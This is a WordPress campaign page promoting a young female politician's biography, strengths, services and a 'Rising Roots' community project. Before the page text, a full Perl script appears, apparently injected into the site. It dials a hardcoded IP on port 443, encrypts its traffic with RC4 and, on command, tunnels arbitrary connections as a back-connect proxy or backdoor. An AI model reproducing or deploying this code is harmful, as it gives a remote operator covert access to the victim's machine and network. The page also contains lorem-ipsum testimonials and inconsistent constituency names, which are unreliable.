} } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.173'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Keturah Janet Naa Ashong – My WordPress Blog

Welcome to the ghetto Mp

Bringing your imaginative ideas to life with boundless imagination and innovative thinking is a remarkable journey that thrives on the synergy of innovation.

Keturah Janet Naa Ashong – Young Female Politician, Advocate for Change

Keturah Janet Naa Ashong is a dynamic young female politician with a vision to redefine leadership through integrity, inclusivity, and innovation. Passionate about public service, Keturah is committed to amplifying the voices of women, youth, and marginalized communities, ensuring that governance reflects the true diversity and needs of the people.

Driven by a deep sense of purpose and a belief in grassroots empowerment, she has actively engaged in community development, youth advocacy, and gender equity initiatives. Her leadership style is grounded in empathy, transparency, and results-oriented action — qualities that distinguish her in a political landscape often dominated by tradition.

As a rising political force, Keturah brings fresh energy and perspective to policy discussions, championing education, job creation, and sustainable development. She believes that young people, especially young women, must be at the forefront of decision-making to build a future that is just, equitable, and prosperous for all.

A Few Things I Am Great At

Things I Am Great At as a Young Female Politician from an Orphan Constituency

Advocating for the Voiceless
I passionately represent communities that are often overlooked — especially orphans, vulnerable youth, and marginalized families — ensuring their needs are not just heard but acted upon.
Turning Personal Struggles into Public Strength
Coming from an orphan constituency, I draw from real-life experiences to shape empathetic, people-centered policies that make a tangible difference.
Building Inclusive, Grassroots Solutions
I work closely with local communities to co-create solutions, ensuring that every initiative reflects the real needs and aspirations of the people I serve.
Championing Youth and Women’s Empowerment
As a young woman in politics, I use my platform to open doors for others — mentoring young leaders, advocating for girls’ education, and pushing for gender equity in all spheres.
Speaking Truth to Power
I am not afraid to challenge outdated systems or powerful institutions when they fail to serve the people. I bring courage, clarity, and conviction to every conversation.
Policy with Purpose
I excel at crafting and supporting policies that are not just politically popular, but deeply purposeful — especially around education, social welfare, healthcare, and youth development.
Resilience and Vision
I bring relentless determination, forward-thinking ideas, and long-term vision, especially in transforming hardship into opportunity for my constituents.

Designed to inspire confidence and reflect a leadership style:

I am great at connecting with people at the grassroots, listening deeply to their concerns and making sure no voice is left unheard.
I am great at turning challenges into solutions, using limited resources to bring visible change in my community.
I am great at inspiring the youth, especially young girls, to believe in their dreams and step boldly into leadership.
I am great at advocating for the marginalized, because I know what it feels like to come from a place often forgotten.
I am great at bringing people together, creating unity among diverse groups for one common goal: progress.
I am great at standing firm in difficult spaces, speaking truth with courage and dignity even when it’s not popular.
I am great at mobilizing communities for action, whether it’s through clean-up exercises, town hall meetings, or awareness campaigns.
I am great at leading with empathy, because my service comes from the heart and from personal experience.
I am great at remaining humble and teachable, always willing to learn, grow, and do better for my people.
Above all, I am great at dreaming big for Orohan, and turning those dreams into real, lasting impact.

Builds a leadership and show strengths in service, advocacy, and transformation:

I am great at building trust among my people, because I lead with honesty, openness, and a genuine desire to serve.
I am great at amplifying the voices of the forgotten, especially women, orphans, and the poor, whose needs often go unheard.
I am great at balancing strength and compassion, making bold decisions while still remaining kind and approachable.
I am great at creating solutions that last, not just temporary relief, but real, sustainable change in education, health, and livelihoods.
I am great at rising above limitations, proving that where you come from does not define where you are going.
I am great at using my story to inspire others, showing young girls and boys that leadership can come from humble beginnings.
I am great at turning pain into purpose, using the struggles I’ve faced to fuel my commitment to service.
I am great at leading in male-dominated spaces, standing tall as a woman who leads with dignity, strength, and vision.
I am great at identifying talent and lifting others, because I know leadership is not about me alone — it’s about building others too.
I am great at remaining grounded, never forgetting my roots, and always putting the needs of my people before politics.

Reflect a leadership strength, deep empathy, and bold political ambition:

Empowering those who feel invisible to speak up and be heard.
I am great at leading with purpose and direction, always working with a clear vision for a better Orohan.
I am great at listening without judgment, allowing people to share their truth, knowing they are safe and respected.
I am great at working with limited resources, and still finding ways to bring change to even the most forgotten areas.
I am great at lifting others as I rise, because I believe true leadership is about helping others grow alongside you.
I am great at challenging outdated systems, and pushing for bold ideas that reflect the real needs of today’s generation.
I am great at inspiring hope, even in difficult times, reminding people that their dreams are still valid.
I am great at standing in the gap, representing the needs of those who cannot reach the tables of power themselves.
I am great at nurturing young leaders, helping the next generation to believe that they, too, can lead and make a difference.
I am great at staying true to who I am, a strong, proud, and compassionate woman of the people — unshaken by fear or doubt.

My Political Journey

 The Beginning of a Purpose-Driven Mission

My name is Keturah Janet Naa Ashong, a proud daughter of Orphan constituency, and a young woman with a deep calling to serve, lead, and transform lives. My political ambition began not with power or position, but with pain and purpose — the pain of watching communities struggle with basic needs, and the purpose of being part of the solution.
Growing up in a constituency that is rich in spirit but underserved in opportunity, I saw how leadership could either bring change or deepen neglect. That reality shaped my passion for responsible leadership, one that listens, responds, and uplifts.
I chose to enter politics because I believe in youth-led change, in women rising to leadership, and in a future where no one is left behind — not the child without school books, not the mother without healthcare, not the farmer without good roads.
My journey is just beginning, but I stand with courage, conviction, and a clear mission:
To be a voice for the voiceless, a builder of opportunity, and a servant of the people.
This is not just a political ambition — it is a call to serve. I am ready to rise with my people, walk with them, and fight for the future we all deserve.

Measure your progress

As a young female politician representing Orohan constituency, it’s important to clearly define what you’re great at,

🔑 1. Grassroots Connection & Accessibility

You’re likely close to the people, young, relatable, and accessible.

  • Strength: “I know the needs of my people and I am present in their everyday struggles.”
  • Build it by:
    • Holding regular town halls and listening sessions.
    • Using social media to connect and respond to issues.
    • Being visible in community activities.

💡 2. Youth Empowerment & Education

As a young leader, you’re in a position to champion youth inclusion.

  • Strength: “I represent a generation that wants to change the narrative.”
  • Build it by:
    • Promoting vocational training, digital literacy, and scholarships.
    • Advocating for youth-friendly policies.
    • Mentoring young girls and encouraging political participation.

🌾 3. Development-Oriented Leadership

You can focus on the basic needs of the Orohan people — water, roads, electricity, healthcare.

  • Strength: “I stand for real, practical development you can see and feel.”
  • Build it by:
    • Working with local and national development agencies.
    • Mobilizing resources for small infrastructure projects.
    • Keeping development plans transparent and participatory.

👩🏽‍⚖️ 4. Women & Inclusion Advocacy

As a female politician, your leadership can inspire and uplift others.

  • Strength: “I am a voice for women and the marginalized in our community.”
  • Build it by:
    • Creating women support cooperatives or entrepreneurship groups.
    • Fighting for maternal health and girl-child education.
    • Encouraging women’s political and economic participation.

📣 5. Integrity & Fresh Leadership

You’re not part of the “old system” — and that’s a powerful image.

  • Strength: “I bring new energy, clean hands, and honest politics.”
  • Build it by:
    • Being transparent with your finances and promises.
    • Publicly rejecting corrupt practices.
    • Being accountable and open to scrutiny.

Services

My Service to the People of Orphan Constituency

it is a deep personal commitment to improve lives and bring dignity to every household. I have worked closely with my community to identify real needs and offer practical solutions. From organizing clean-up campaigns and health outreach programs to advocating for better roads and access to clean water, my focus has always been on meaningful impact.
I have empowered young people through leadership training and skills development workshops, especially encouraging young girls to believe in their potential. I listen to my people, not only during campaigns but every day, because their voices guide my actions. I’ve held open forums where women, youth, and elders can freely express their concerns.
My office remains open and transparent — every voice matters and every problem deserves attention. I believe in service that is visible, honest, and accountable. Together, with the people of Orohan, I am building a constituency where development is felt, not just promised.

Service Rooted in Hope, Born from Struggle

As a female politician from an orphan constituency, I understand what it means to be overlooked, to feel unheard, and to live with limited opportunities. My service to Orphan is inspired by these realities — not to complain, but to change them. I serve with the strength of a woman who has risen, and the heart of a daughter who has never forgotten where she comes from.
I am working to bring the forgotten to the center — to ensure every child, every mother, every farmer, and every youth in our constituency feels seen, valued, and supported. From education for the poor to skills training for the jobless, I am creating pathways of hope where there once were barriers.
I fight for clean water, health access, better roads, and jobs — not as a favour, but as a right every citizen of Orphan deserves. I serve not with loud words, but with lasting actions. I carry the pain of our past and the promise of our future. This is the kind of leadership I offer — one shaped by humility, service, and the unshakable belief that even the most forgotten place can rise.

Service with Unity and Purpose

My service to the people of Orphan is built on unity, love, and shared responsibility. I believe that real progress happens when leaders and citizens walk hand in hand. That is why I have dedicated myself to creating opportunities that bring us together — across age, gender, tribe, and background.
I work closely with local leaders, youth groups, women associations, and traditional authorities to understand the needs of every community. Whether it is supporting farming cooperatives, advocating for better health services, or helping children stay in school, I approach each issue with care, planning, and commitment.
I do not just represent Orphan — I live with the people, listen to them, and lead by example. My door is always open because I believe in leadership that serves, not rules. Together, we are building a constituency of hope, where every citizen has a role to play and a future to look forward to.

My Team, My Strength

Behind every strong leader is a committed team — and I am proud to stand with a group of passionate, hardworking individuals who believe in service above self. My team is made up of young minds, experienced elders, skilled professionals, and grassroots volunteers who all share one vision: to transform Orphan through honest, people-centered leadership.
We are not just a political team — we are a movement of change-makers. Each person brings a unique strength, whether it’s organizing community outreach, leading development projects, mentoring youth, or engaging with women’s groups across the constituency.
Together, we walk the dusty paths, we listen to every voice, and we work long hours not for praise, but for progress. We believe in inclusive leadership, shared responsibility, and collective success. In this team, every role matters — from the strategist to the student volunteer, from the market woman who mobilizes her peers to the tech-savvy youth who manages our outreach.
This is not my journey alone — it is our journey, and my team is the engine that drives this vision forward.

What are you waiting for?

Let’s Come Together To Build Anyaa – Sowutoum Constituency For A Better Future

Project Name: “Rising Roots: Empower Orphan”

🎯 Project Objectives:
Empower young people and women with practical skills and resources to become self-reliant.
Improve access to quality education and school support, especially for orphaned and underprivileged children.
Strengthen community health awareness and access to basic care through outreach programs.
Foster unity, leadership, and civic responsibility across all areas of the constituency.

📌 Key Project Pillars:
1. 👩🏽‍🔧 “She Leads, We Rise” – Women & Youth Empowerment Program
Skills training (sewing, soap-making, agribusiness, tech literacy)
Startup kits for women-led businesses
Monthly mentorship sessions led by local professionals
2. 🎒 “Orphan Learns” – Education Support Drive
Distribute school supplies to 1,000+ needy students
Set up Community Learning Corners in rural areas
Organize Girls’ Confidence Camps to keep young girls in school
3. 🏥 “Healthy Homes” – Mobile Health & Sanitation Campaign
Free health screenings in villages (BP, malaria, maternal care)
Train community health volunteers
Promote hygiene through school and church programs
4. 🌱 “Grow Orphan” – Grassroots Development & Engagement
Townhall meetings in all zones every quarter
Volunteer clean-up teams and tree-planting drives
Digital inclusion efforts: setting up ICT training points for rural youth

🧮

Testimonials

Maecenas gravida dui a magna fermentum vulputate. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Sed iaculis sollicitudin sit amet.

CEO

keturah janet naa ashong

CEO KETURAH FOUNDATION

Keturah janet naa ashong

CEO THE INCENSE COMPANY LIMITED

keturah janet naa ashong

KETURAH JANET NAA ASHONG

Contact us

Keturah Janet Naa Ashong